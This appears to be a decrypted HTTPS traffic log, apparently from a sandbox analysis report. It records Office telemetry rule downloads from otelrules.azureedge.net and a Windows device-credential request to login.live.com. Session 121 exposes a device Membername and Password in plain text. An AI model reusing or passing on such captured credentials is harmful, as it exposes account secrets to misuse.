2024-10-07 19:53:23 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49905	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:23 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:23 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 6f1c5b1d-901e-0048-485a-17b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195323Z-1657d5bbd48f7nlxc7n5fnfzh000000003n00000000092kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:23 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49902	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:23 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-07 19:53:23 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 72 65 73 70 6c 70 78 63 76 7a 63 71 75 6c 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 69 29 5f 24 4d 58 6b 69 69 51 58 2a 4b 65 79 6f 2e 7a 76 69 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02resplpxcvzcqul</Membername><Password>i)_$MXkiiQX*Keyo.zvi</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-07 19:53:26 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 07 Oct 2024 19:52:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: d5e14ac6-5b96-4aab-9693-5f01e233c325 PPServer: PPV: 30 H: PH1PEPF00011FFA V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 07 Oct 2024 19:53:25 GMT Connection: close Content-Length: 17166
2024-10-07 19:53:26 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 46 41 31 34 31 33 35 41 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 36 37 32 61 65 62 37 37 2d 63 32 61 38 2d 34 63 63 35 2d 39 66 32 61 2d 62 37 37 37 63 31 39 32 65 61 37 65 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>00184010FA14135A</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="672aeb77-c2a8-4cc5-9f2a-b777c192ea7e" LicenseID="3252b20c-d425-4711
2024-10-07 19:53:26 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49906	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:24 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:24 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 173e0f62-801e-00a3-24fe-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195324Z-1657d5bbd48vhs7r2p1ky7cs5w000000049g000000008zbp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:24 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49907	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:24 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:24 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 6bee43b5-001e-00a2-2106-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195324Z-1657d5bbd48cpbzgkvtewk0wu0000000040000000000mb61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:24 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49908	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:24 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:24 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 04600955-801e-00ac-55f4-16fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195324Z-1657d5bbd48q6t9vvmrkd293mg00000003zg000000005pqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:24 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49909	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:24 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:24 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 4035d6e2-a01e-0002-4602-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195324Z-1657d5bbd48wd55zet5pcra0cg00000003xg00000000e3rt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:24 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49910	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:24 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:24 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 62f7f1ae-f01e-0096-4d0c-1710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195324Z-1657d5bbd48qjg85buwfdynm5w00000003yg00000000v2pz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:24 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49911	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:24 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:24 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 87e26173-201e-0051-15e7-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195324Z-1657d5bbd48sdh4cyzadbb374800000003p00000000103ry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:24 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49913	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:25 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:25 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 31868579-401e-008c-0af2-1686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195325Z-1657d5bbd48gqrfwecymhhbfm800000002p000000000xpz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:25 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49912	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:25 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:25 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 52963dc7-601e-0084-0e74-176b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195325Z-1657d5bbd48gqrfwecymhhbfm800000002q000000000t8sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
